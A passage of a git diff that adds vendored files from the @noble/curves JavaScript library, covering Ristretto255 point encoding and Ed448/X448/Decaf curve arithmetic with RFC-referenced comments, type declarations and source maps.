toRawBytes() { + let { ex: x, ey: y, ez: z, et: t } = this.ep; + const P = exports.ed25519.CURVE.Fp.ORDER; + const mod = exports.ed25519.CURVE.Fp.create; + const u1 = mod(mod(z + y) * mod(z - y)); // 1 + const u2 = mod(x * y); // 2 + // Square root always exists + const u2sq = mod(u2 * u2); + const { value: invsqrt } = invertSqrt(mod(u1 * u2sq)); // 3 + const D1 = mod(invsqrt * u1); // 4 + const D2 = mod(invsqrt * u2); // 5 + const zInv = mod(D1 * D2 * t); // 6 + let D; // 7 + if ((0, modular_js_1.isNegativeLE)(t * zInv, P)) { + let _x = mod(y * SQRT_M1); + let _y = mod(x * SQRT_M1); + x = _x; + y = _y; + D = mod(D1 * INVSQRT_A_MINUS_D); + } + else { + D = D2; // 8 + } + if ((0, modular_js_1.isNegativeLE)(x * zInv, P)) + y = mod(-y); // 9 + let s = mod((z - y) * D); // 10 (check footer's note, no sqrt(-a)) + if ((0, modular_js_1.isNegativeLE)(s, P)) + s = mod(-s); + return (0, utils_js_1.numberToBytesLE)(s, 32); // 11 + } + toHex() { + return (0, utils_js_1.bytesToHex)(this.toRawBytes()); + } + toString() { + return this.toHex(); + } + // Compare one point to another. + equals(other) { + assertRstPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = exports.ed25519.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) | (y1 * y2 == x1 * x2) + const one = mod(X1 * Y2) === mod(Y1 * X2); + const two = mod(Y1 * Y2) === mod(X1 * X2); + return one || two; + } + add(other) { + assertRstPoint(other); + return new RistPoint(this.ep.add(other.ep)); + } + subtract(other) { + assertRstPoint(other); + return new RistPoint(this.ep.subtract(other.ep)); + } + multiply(scalar) { + return new RistPoint(this.ep.multiply(scalar)); + } + multiplyUnsafe(scalar) { + return new RistPoint(this.ep.multiplyUnsafe(scalar)); + } +} +exports.RistrettoPoint = (() => { + if (!RistPoint.BASE) + RistPoint.BASE = new RistPoint(exports.ed25519.ExtendedPoint.BASE); + if (!RistPoint.ZERO) + RistPoint.ZERO = new RistPoint(exports.ed25519.ExtendedPoint.ZERO); + return RistPoint; +})(); +// Hashing to ristretto255. https://www.rfc-editor.org/rfc/rfc9380#appendix-B +const hashToRistretto255 = (msg, options) => { + const d = options.DST; + const DST = typeof d === 'string' ? (0, utils_1.utf8ToBytes)(d) : d; + const uniform_bytes = (0, hash_to_curve_js_1.expand_message_xmd)(msg, DST, 64, sha512_1.sha512); + const P = RistPoint.hashToCurve(uniform_bytes); + return P; +}; +exports.hashToRistretto255 = hashToRistretto255; +exports.hash_to_ristretto255 = exports.hashToRistretto255; // legacy +//# sourceMappingURL=ed25519.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/ed25519.js.map b/node_modules/@noble/curves/ed25519.js.map new file mode 100644 index 000000000000..af44c8d81276 --- /dev/null +++ b/node_modules/@noble/curves/ed25519.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ed25519.js","sourceRoot":"","sources":["src/ed25519.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,iDAA8C;AAC9C,+CAA4E;AAC5E,sDAAqE;AACrE,4DAAsD;AACtD,sDAAmF;AACnF,kDAO6B;AAC7B,kEAA6F;AAG7F;;;;;GAKG;AAEH,MAAM,SAAS,GAAG,MAAM,CACtB,+EAA+E,CAChF,CAAC;AACF,iCAAiC;AACjC,MAAM,eAAe,GAAG,MAAM,CAC5B,+EAA+E,CAChF,CAAC;AAEF,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACzE,kBAAkB;AAClB,MAAM,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEjF,SAAS,mBAAmB,CAAC,CAAS;IACpC,MAAM,CAAC,GAAG,SAAS,CAAC;IACpB,MAAM,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC;IACvB,MAAM,EAAE,GAAG,CAAC,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,UAAU;IACnC,MAAM,EAAE,GAAG,CAAC,IAAA,iBAAI,EAAC,EAAE,EAAE,GAAG,EAAE,CAAC,CAAC,GAAG,EAAE,CAAC,GAAG,CA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C,CAAC;IACjD,CAAC;IAED,cAAc,CAAC,MAAc;QAC3B,OAAO,IAAI,SAAS,CAAC,IAAI,CAAC,EAAE,CAAC,cAAc,CAAC,MAAM,CAAC,CAAC,CAAC;IACvD,CAAC;CACF;AACY,QAAA,cAAc,GAAmB,CAAC,GAAG,EAAE;IAClD,IAAI,CAAC,SAAS,CAAC,IAAI;QAAE,SAAS,CAAC,IAAI,GAAG,IAAI,SAAS,CAAC,eAAO,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC;IAChF,IAAI,CAAC,SAAS,CAAC,IAAI;QAAE,SAAS,CAAC,IAAI,GAAG,IAAI,SAAS,CAAC,eAAO,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC;IAChF,OAAO,SAAS,CAAC;AACnB,CAAC,CAAC,EAAE,CAAC;AAEL,6EAA6E;AACtE,MAAM,kBAAkB,GAAG,CAAC,GAAe,EAAE,OAAqB,EAAE,EAAE;IAC3E,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IACtB,MAAM,GAAG,GAAG,OAAO,CAAC,KAAK,QAAQ,CAAC,CAAC,CAAC,IAAA,mBAAW,EAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACvD,MAAM,aAAa,GAAG,IAAA,qCAAkB,EAAC,GAAG,EAAE,GAAG,EAAE,EAAE,EAAE,eAAM,CAAC,CAAC;IAC/D,MAAM,CAAC,GAAG,SAAS,CAAC,WAAW,CAAC,aAAa,CAAC,CAAC;IAC/C,OAAO,CAAC,CAAC;AACX,CAAC,CAAC;AANW,QAAA,kBAAkB,sBAM7B;AACW,QAAA,oBAAoB,GAAG,0BAAkB,CAAC,CAAC,SAAS"} \ No newline at end of file diff --git a/node_modules/@noble/curves/ed448.d.ts b/node_modules/@noble/curves/ed448.d.ts new file mode 100644 index 000000000000..3523c71d33a5 --- /dev/null +++ b/node_modules/@noble/curves/ed448.d.ts @@ -0,0 +1,65 @@ +import { ExtPointType } from './abstract/edwards.js'; +import { htfBasicOpts } from './abstract/hash-to-curve.js'; +import { Hex } from './abstract/utils.js'; +import { AffinePoint } from './abstract/curve.js'; +export declare const ed448: import("./abstract/edwards.js").CurveFn; +export declare const ed448ph: import("./abstract/edwards.js").CurveFn; +export declare const x448: import("./abstract/montgomery.js").CurveFn; +/** + * Converts edwards448 public key to x448 public key. Uses formula: + * * `(u, v) = ((y-1)/(y+1), sqrt(156324)*u/x)` + * * `(x, y) = (sqrt(156324)*u/v, (1+u)/(1-u))` + * @example + * const aPub = ed448.getPublicKey(utils.randomPrivateKey()); + * x448.getSharedSecret(edwardsToMontgomery(aPub), edwardsToMontgomery(someonesPub)) + */ +export declare function edwardsToMontgomeryPub(edwardsPub: string | Uint8Array): Uint8Array; +export declare const edwardsToMontgomery: typeof edwardsToMontgomeryPub; +export declare const hashToCurve: (msg: Uint8Array, options?: htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +type ExtendedPoint = ExtPointType; +/** + * Each ed448/ExtendedPoint has 4 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Decaf was created to solve this. + * Decaf point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +declare class DcfPoint { + private readonly ep; + static BASE: DcfPoint; + static ZERO: DcfPoint; + constructor(ep: ExtendedPoint); + static fromAffine(ap: AffinePoint): DcfPoint; + /** + * Takes uniform output of 112-byte hash function like shake256 and converts it to `DecafPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 + * @param hex 112-byte output of a hash function + */ + static hashToCurve(hex: Hex): DcfPoint; + /** + * Converts decaf-encoded string to decaf point. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-decode-2 + * @param hex Decaf-encoded 56 bytes. Not every 56-byte string is valid decaf encoding + */ + static fromHex(hex: Hex): DcfPoint; + /** + * Encodes decaf point to Uint8Array. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-encode-2 + */ + toRawBytes(): Uint8Array; + toHex(): string; + toString(): string; + equals(other: DcfPoint): boolean; + add(other: DcfPoint): DcfPoint; + subtract(other: DcfPoint): DcfPoint; + multiply(scalar: bigint): DcfPoint; + multiplyUnsafe(scalar: bigint): DcfPoint; +} +export declare const DecafPoint: typeof DcfPoint; +export declare const hashToDecaf448: (msg: Uint8Array, options: htfBasicOpts) => DcfPoint; +export declare const hash_to_decaf448: (msg: Uint8Array, options: htfBasicOpts) => DcfPoint; +export {}; +//# sourceMappingURL=ed448.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/ed448.d.ts.map b/node_modules/@noble/curves/ed448.d.ts.map new file mode 100644 index 000000000000..caf0ca033876 --- /dev/null +++ b/node_modules/@noble/curves/ed448.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ed448.d.ts","sourceRoot":"","sources":["src/ed448.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,YAAY,EAAkB,MAAM,uBAAuB,CAAC;AAGrE,OAAO,EAAgB,YAAY,EAAsB,MAAM,6BAA6B,CAAC;AAC7F,OAAO,EAKL,GAAG,EAEJ,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AAqHlD,eAAO,MAAM,KAAK,yCAA4C,CAAC;AAE/D,eAAO,MAAM,OAAO,yCAAyE,CAAC;AAE9F,eAAO,MAAM,IAAI,4CAeV,CAAC;AAER;;;;;;;GAOG;AACH,wBAAgB,sBAAsB,CAAC,UAAU,EAAE,MAAM,GAAG,UAAU,GAAG,UAAU,CAIlF;AACD,eAAO,MAAM,mBAAmB,+BAAyB,CAAC;AA2F1D,eAAO,MAAM,WAAW,iHAA4C,CAAC;AACrE,eAAO,MAAM,aAAa,iHAA8C,CAAC;AA2BzE,KAAK,aAAa,GAAG,YAAY,CAAC;AAiClC;;;;;;GAMG;AACH,cAAM,QAAQ;IAKA,OAAO,CAAC,QAAQ,CAAC,EAAE;IAJ/B,MAAM,CAAC,IAAI,EAAE,QAAQ,CAAC;IACtB,MAAM,CAAC,IAAI,EAAE,QAAQ,CAAC;gBAGO,EAAE,EAAE,aAAa;IAE9C,MAAM,CAAC,UAAU,CAAC,EAAE,EAAE,WAAW,CAAC,MAAM,CAAC;IAIzC;;;;;;OAMG;IACH,MAAM,CAAC,WAAW,CAAC,GAAG,EAAE,GAAG,GAAG,QAAQ;IAStC;;;;OAIG;IACH,MAAM,CAAC,OAAO,CAAC,GAAG,EAAE,GAAG,GAAG,QAAQ;IA8BlC;;;OAGG;IACH,UAAU,IAAI,UAAU;IAoBxB,KAAK,IAAI,MAAM;IAIf,QAAQ,IAAI,MAAM;IAMlB,MAAM,CAAC,KAAK,EAAE,QAAQ,GAAG,OAAO;IAShC,GAAG,CAAC,KAAK,EAAE,QAAQ,GAAG,QAAQ;IAK9B,QAAQ,CAAC,KAAK,EAAE,QAAQ,GAAG,QAAQ;IAKnC,QAAQ,CAAC,MAAM,EAAE,MAAM,GAAG,QAAQ;IAIlC,cAAc,CAAC,MAAM,EAAE,MAAM,GAAG,QAAQ;CAGzC;AACD,eAAO,MAAM,UAAU,iBAMnB,CAAC;AAGL,eAAO,MAAM,cAAc,QAAS,UAAU,WAAW,YAAY,aAMpE,CAAC;AACF,eAAO,MAAM,gBAAgB,QAPO,UAAU,WAAW,YAAY,aAOvB,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/ed448.js b/node_modules/@noble/curves/ed448.js new file mode 100644 index 000000000000..3eafbd558b80 --- /dev/null +++ b/node_modules/@noble/curves/ed448.js @@ -0,0 +1,397 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.hash_to_decaf448 = exports.hashToDecaf448 = exports.DecafPoint = exports.encodeToCurve = exports.hashToCurve = exports.edwardsToMontgomery = exports.edwardsToMontgomeryPub = exports.x448 = exports.ed448ph = exports.ed448 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha3_1 = require("@noble/hashes/sha3"); +const utils_1 = require("@noble/hashes/utils"); +const edwards_js_1 = require("./abstract/edwards.js"); +const modular_js_1 = require("./abstract/modular.js"); +const montgomery_js_1 = require("./abstract/montgomery.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +const utils_js_1 = require("./abstract/utils.js"); +/** + * Edwards448 (not Ed448-Goldilocks) curve with following addons: + * - X448 ECDH + * - Decaf cofactor elimination + * - Elligator hash-to-group / point indistinguishability + * Conforms to RFC 8032 https://www.rfc-editor.org/rfc/rfc8032.html#section-5.2 + */ +const shake256_114 = (0, utils_1.wrapConstructor)(() => sha3_1.shake256.create({ dkLen: 114 })); +const shake256_64 = (0, utils_1.wrapConstructor)(() => sha3_1.shake256.create({ dkLen: 64 })); +const ed448P = BigInt('726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018365439'); +// prettier-ignore +const _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4), _11n = BigInt(11); +// prettier-ignore +const _22n = BigInt(22), _44n = BigInt(44), _88n = BigInt(88), _223n = BigInt(223); +// powPminus3div4 calculates z = x^k mod p, where k = (p-3)/4. +// Used for efficient square root calculation. +// ((P-3)/4).toString(2) would produce bits [223x 1, 0, 222x 1] +function ed448_pow_Pminus3div4(x) { + const P = ed448P; + const b2 = (x * x * x) % P; + const b3 = (b2 * b2 * x) % P; + const b6 = ((0, modular_js_1.pow2)(b3, _3n, P) * b3) % P; + const b9 = ((0, modular_js_1.pow2)(b6, _3n, P) * b3) % P; + const b11 = ((0, modular_js_1.pow2)(b9, _2n, P) * b2) % P; + const b22 = ((0, modular_js_1.pow2)(b11, _11n, P) * b11) % P; + const b44 = ((0, modular_js_1.pow2)(b22, _22n, P) * b22) % P; + const b88 = ((0, modular_js_1.pow2)(b44, _44n, P) * b44) % P; + const b176 = ((0, modular_js_1.pow2)(b88, _88n, P) * b88) % P; + const b220 = ((0, modular_js_1.pow2)(b176, _44n, P) * b44) % P; + const b222 = ((0, modular_js_1.pow2)(b220, _2n, P) * b2) % P; + const b223 = ((0, modular_js_1.pow2)(b222, _1n, P) * x) % P; + return ((0, modular_js_1.pow2)(b223, _223n, P) * b222) % P; +} +function adjustScalarBytes(bytes) { + // Section 5: Likewise, for X448, set the two least significant bits of the first byte to 0, and the most + // significant bit of the last byte to 1. + bytes[0] &= 252; // 0b11111100 + // and the most significant bit of the last byte to 1. + bytes[55] |= 128; // 0b10000000 + // NOTE: is is NOOP for 56 bytes scalars (X25519/X448) + bytes[56] = 0; // Byte outside of group (456 buts vs 448 bits) + return bytes; +} +// Constant-time ratio of u to v. Allows to combine inversion and square root u/√v. +// Uses algo from RFC8032 5.1.3. +function uvRatio(u, v) { + const P = ed448P; + // https://www.rfc-editor.org/rfc/rfc8032#section-5.2.3 + // To compute the square root of (u/v), the first step is to compute the + // candidate root x = (u/v)^((p+1)/4). This can be done using the + // following trick, to use a single modular powering for both the + // inversion of v and the square root: + // x = (u/v)^((p+1)/4) = u³v(u⁵v³)^((p-3)/4) (mod p) + const u2v = (0, modular_js_1.mod)(u * u * v, P); // u²v + const u3v = (0, modular_js_1.mod)(u2v * u, P); // u³v + const u5v3 = (0, modular_js_1.mod)(u3v * u2v * v, P); // u⁵v³ + const root = ed448_pow_Pminus3div4(u5v3); + const x = (0, modular_js_1.mod)(u3v * root, P); + // Verify that root is exists + const x2 = (0, modular_js_1.mod)(x * x, P); // x² + // If vx² = u, the recovered x-coordinate is x. Otherwise, no + // square root exists, and the decoding fails. + return { isValid: (0, modular_js_1.mod)(x2 * v, P) === u, value: x }; +} +const Fp = (0, modular_js_1.Field)(ed448P, 456, true); +const ED448_DEF = { + // Param: a + a: BigInt(1), + // -39081. Negative number is P - number + d: BigInt('726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018326358'), + // Finite field 𝔽p over which we'll do calculations; 2n**448n - 2n**224n - 1n + Fp, + // Subgroup order: how many points curve has; + // 2n**446n - 13818066809895115352007386748515426880336692474882178609894547503885n + n: BigInt('181709681073901722637330951972001133588410340171829515070372549795146003961539585716195755291692375963310293709091662304773755859649779'), + nBitLength: 456, + // Cofactor + h: BigInt(4), + // Base point (x, y) aka generator point + Gx: BigInt('224580040295924300187604334099896036246789641632564134246125461686950415467406032909029192869357953282578032075146446173674602635247710'), + Gy: BigInt('298819210078481492676017930443930673437544040154080242095928241372331506189835876003536878655418784733982303233503462500531545062832660'), + // SHAKE256(dom4(phflag,context)||x, 114) + hash: shake256_114, + randomBytes: utils_1.randomBytes, + adjustScalarBytes, + // dom4 + domain: (data, ctx, phflag) => { + if (ctx.length > 255) + throw new Error(`Context is too big: ${ctx.length}`); + return (0, utils_1.concatBytes)((0, utils_1.utf8ToBytes)('SigEd448'), new Uint8Array([phflag ? 1 : 0, ctx.length]), ctx, data); + }, + uvRatio, +}; +exports.ed448 = (0, edwards_js_1.twistedEdwards)(ED448_DEF); +// NOTE: there is no ed448ctx, since ed448 supports ctx by default +exports.ed448ph = (0, edwards_js_1.twistedEdwards)({ ...ED448_DEF, prehash: shake256_64 }); +exports.x448 = (() => (0, montgomery_js_1.montgomery)({ + a: BigInt(156326), + montgomeryBits: 448, + nByteLength: 57, + P: ed448P, + Gu: BigInt(5), + powPminus2: (x) => { + const P = ed448P; + const Pminus3div4 = ed448_pow_Pminus3div4(x); + const Pminus3 = (0, modular_js_1.pow2)(Pminus3div4, BigInt(2), P); + return (0, modular_js_1.mod)(Pminus3 * x, P); // Pminus3 * x = Pminus2 + }, + adjustScalarBytes, + randomBytes: utils_1.randomBytes, +}))(); +/** + * Converts edwards448 public key to x448 public key. Uses formula: + * * `(u, v) = ((y-1)/(y+1), sqrt(156324)*u/x)` + * * `(x, y) = (sqrt(156324)*u/v, (1+u)/(1-u))` + * @example + * const aPub = ed448.getPublicKey(utils.randomPrivateKey()); + * x448.getSharedSecret(edwardsToMontgomery(aPub), edwardsToMontgomery(someonesPub)) + */ +function edwardsToMontgomeryPub(edwardsPub) { + const { y } = exports.ed448.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((y - _1n) * Fp.inv(y + _1n))); +} +exports.edwardsToMontgomeryPub = edwardsToMontgomeryPub; +exports.edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated +// Hash To Curve Elligator2 Map +const ELL2_C1 = (Fp.ORDER - BigInt(3)) / BigInt(4); // 1. c1 = (q - 3) / 4 # Integer arithmetic +const ELL2_J = BigInt(156326); +function map_to_curve_elligator2_curve448(u) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + let e1 = Fp.eql(tv1, Fp.ONE); // 2. e1 = tv1 == 1 + tv1 = Fp.cmov(tv1, Fp.ZERO, e1); // 3. tv1 = CMOV(tv1, 0, e1) # If Z * u^2 == -1, set tv1 = 0 + let xd = Fp.sub(Fp.ONE, tv1); // 4. xd = 1 - tv1 + let x1n = Fp.neg(ELL2_J); // 5. x1n = -J + let tv2 = Fp.sqr(xd); // 6. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 7. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, Fp.neg(ELL2_J)); // 8. gx1 = -J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 9. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 10. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 11. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 12. tv3 = gxd^2 + tv2 = Fp.mul(gx1, gxd); // 13. tv2 = gx1 * gxd # gx1 * gxd + tv3 = Fp.mul(tv3, tv2); // 14. tv3 = tv3 * tv2 # gx1 * gxd^3 + let y1 = Fp.pow(tv3, ELL2_C1); // 15. y1 = tv3^c1 # (gx1 * gxd^3)^((p - 3) / 4) + y1 = Fp.mul(y1, tv2); // 16. y1 = y1 * tv2 # gx1 * gxd * (gx1 * gxd^3)^((p - 3) / 4) + let x2n = Fp.mul(x1n, Fp.neg(tv1)); // 17. x2n = -tv1 * x1n # x2 = x2n / xd = -1 * u^2 * x1n / xd + let y2 = Fp.mul(y1, u); // 18. y2 = y1 * u + y2 = Fp.cmov(y2, Fp.ZERO, e1); // 19. y2 = CMOV(y2, 0, e1) + tv2 = Fp.sqr(y1); // 20. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 21. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx1); // 22. e2 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e2); // 23. xn = CMOV(x2n, x1n, e2) # If e2, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e2); // 24. y = CMOV(y2, y1, e2) # If e2, y = y1, else y = y2 + let e3 = Fp.isOdd(y); // 25. e3 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e2 !== e3); // 26. y = CMOV(y, -y, e2 XOR e3) + return { xn, xd, yn: y, yd: Fp.ONE }; // 27. return (xn, xd, y, 1) +} +function map_to_curve_elligator2_edwards448(u) { + let { xn, xd, yn, yd } = map_to_curve_elligator2_curve448(u); // 1. (xn, xd, yn, yd) = map_to_curve_elligator2_curve448(u) + let xn2 = Fp.sqr(xn); // 2. xn2 = xn^2 + let xd2 = Fp.sqr(xd); // 3. xd2 = xd^2 + let xd4 = Fp.sqr(xd2); // 4. xd4 = xd2^2 + let yn2 = Fp.sqr(yn); // 5. yn2 = yn^2 + let yd2 = Fp.sqr(yd); // 6. yd2 = yd^2 + let xEn = Fp.sub(xn2, xd2); // 7. xEn = xn2 - xd2 + let tv2 = Fp.sub(xEn, xd2); // 8. tv2 = xEn - xd2 + xEn = Fp.mul(xEn, xd2); // 9. xEn = xEn * xd2 + xEn = Fp.mul(xEn, yd); // 10. xEn = xEn * yd + xEn = Fp.mul(xEn, yn); // 11. xEn = xEn * yn + xEn = Fp.mul(xEn, _4n); // 12. xEn = xEn * 4 + tv2 = Fp.mul(tv2, xn2); // 13. tv2 = tv2 * xn2 + tv2 = Fp.mul(tv2, yd2); // 14. tv2 = tv2 * yd2 + let tv3 = Fp.mul(yn2, _4n); // 15. tv3 = 4 * yn2 + let tv1 = Fp.add(tv3, yd2); // 16. tv1 = tv3 + yd2 + tv1 = Fp.mul(tv1, xd4); // 17. tv1 = tv1 * xd4 + let xEd = Fp.add(tv1, tv2); // 18. xEd = tv1 + tv2 + tv2 = Fp.mul(tv2, xn); // 19. tv2 = tv2 * xn + let tv4 = Fp.mul(xn, xd4); // 20. tv4 = xn * xd4 + let yEn = Fp.sub(tv3, yd2); // 21. yEn = tv3 - yd2 + yEn = Fp.mul(yEn, tv4); // 22. yEn = yEn * tv4 + yEn = Fp.sub(yEn, tv2); // 23. yEn = yEn - tv2 + tv1 = Fp.add(xn2, xd2); // 24. tv1 = xn2 + xd2 + tv1 = Fp.mul(tv1, xd2); // 25. tv1 = tv1 * xd2 + tv1 = Fp.mul(tv1, xd); // 26. tv1 = tv1 * xd + tv1 = Fp.mul(tv1, yn2); // 27. tv1 = tv1 * yn2 + tv1 = Fp.mul(tv1, BigInt(-2)); // 28. tv1 = -2 * tv1 + let yEd = Fp.add(tv2, tv1); // 29. yEd = tv2 + tv1 + tv4 = Fp.mul(tv4, yd2); // 30. tv4 = tv4 * yd2 + yEd = Fp.add(yEd, tv4); // 31. yEd = yEd + tv4 + tv1 = Fp.mul(xEd, yEd); // 32. tv1 = xEd * yEd + let e = Fp.eql(tv1, Fp.ZERO); // 33. e = tv1 == 0 + xEn = Fp.cmov(xEn, Fp.ZERO, e); // 34. xEn = CMOV(xEn, 0, e) + xEd = Fp.cmov(xEd, Fp.ONE, e); // 35. xEd = CMOV(xEd, 1, e) + yEn = Fp.cmov(yEn, Fp.ONE, e); // 36. yEn = CMOV(yEn, 1, e) + yEd = Fp.cmov(yEd, Fp.ONE, e); // 37. yEd = CMOV(yEd, 1, e) + const inv = Fp.invertBatch([xEd, yEd]); // batch division + return { x: Fp.mul(xEn, inv[0]), y: Fp.mul(yEn, inv[1]) }; // 38. return (xEn, xEd, yEn, yEd) +} +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.ed448.ExtendedPoint, (scalars) => map_to_curve_elligator2_edwards448(scalars[0]), { + DST: 'edwards448_XOF:SHAKE256_ELL2_RO_', + encodeDST: 'edwards448_XOF:SHAKE256_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 224, + expand: 'xof', + hash: sha3_1.shake256, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +function assertDcfPoint(other) { + if (!(other instanceof DcfPoint)) + throw new Error('DecafPoint expected'); +} +// 1-d +const ONE_MINUS_D = BigInt('39082'); +// 1-2d +const ONE_MINUS_TWO_D = BigInt('78163'); +// √(-d) +const SQRT_MINUS_D = BigInt('98944233647732219769177004876929019128417576295529901074099889598043702116001257856802131563896515373927712232092845883226922417596214'); +// 1 / √(-d) +const INVSQRT_MINUS_D = BigInt('315019913931389607337177038330951043522456072897266928557328499619017160722351061360252776265186336876723201881398623946864393857820716'); +// Calculates 1/√(number) +const invertSqrt = (number) => uvRatio(_1n, number); +const MAX_448B = BigInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const bytes448ToNumberLE = (bytes) => exports.ed448.CURVE.Fp.create((0, utils_js_1.bytesToNumberLE)(bytes) & MAX_448B); +// Computes Elligator map for Decaf +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 +function calcElligatorDecafMap(r0) { + const { d } = exports.ed448.CURVE; + const P = exports.ed448.CURVE.Fp.ORDER; + const mod = exports.ed448.CURVE.Fp.create; + const r = mod(-(r0 * r0)); // 1 + const u0 = mod(d * (r - _1n)); // 2 + const u1 = mod((u0 + _1n) * (u0 - r)); // 3 + const { isValid: was_square, value: v } = uvRatio(ONE_MINUS_TWO_D, mod((r + _1n) * u1)); // 4 + let v_prime = v; // 5 + if (!was_square) + v_prime = mod(r0 * v); + let sgn = _1n; // 6 + if (!was_square) + sgn = mod(-_1n); + const s = mod(v_prime * (r + _1n)); // 7 + let s_abs = s; + if ((0, modular_js_1.isNegativeLE)(s, P)) + s_abs = mod(-s); + const s2 = s * s; + const W0 = mod(s_abs * _2n); // 8 + const W1 = mod(s2 + _1n); // 9 + const W2 = mod(s2 - _1n); // 10 + const W3 = mod(v_prime * s * (r - _1n) * ONE_MINUS_TWO_D + sgn); // 11 + return new exports.ed448.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} +/** + * Each ed448/ExtendedPoint has 4 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Decaf was created to solve this. + * Decaf point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class DcfPoint { + // Private property to discourage combining ExtendedPoint + DecafPoint + // Always use Decaf encoding/decoding instead. + constructor(ep) { + this.ep = ep; + } + static fromAffine(ap) { + return new DcfPoint(exports.ed448.ExtendedPoint.fromAffine(ap)); + } + /** + * Takes uniform output of 112-byte hash function like shake256 and converts it to `DecafPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 + * @param hex 112-byte output of a hash function + */ + static hashToCurve(hex) { + hex = (0, utils_js_1.ensureBytes)('decafHash', hex, 112); + const r1 = bytes448ToNumberLE(hex.slice(0, 56)); + const R1 = calcElligatorDecafMap(r1); + const r2 = bytes448ToNumberLE(hex.slice(56, 112)); + const R2 = calcElligatorDecafMap(r2); + return new DcfPoint(R1.add(R2)); + } + /** + * Converts decaf-encoded string to decaf point. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-decode-2 + * @param hex Decaf-encoded 56 bytes. Not every 56-byte string is valid decaf encoding + */ + static fromHex(hex) { + hex = (0, utils_js_1.ensureBytes)('decafHex', hex, 56); + const { d } = exports.ed448.CURVE; + const P = exports.ed448.CURVE.Fp.ORDER; + const mod 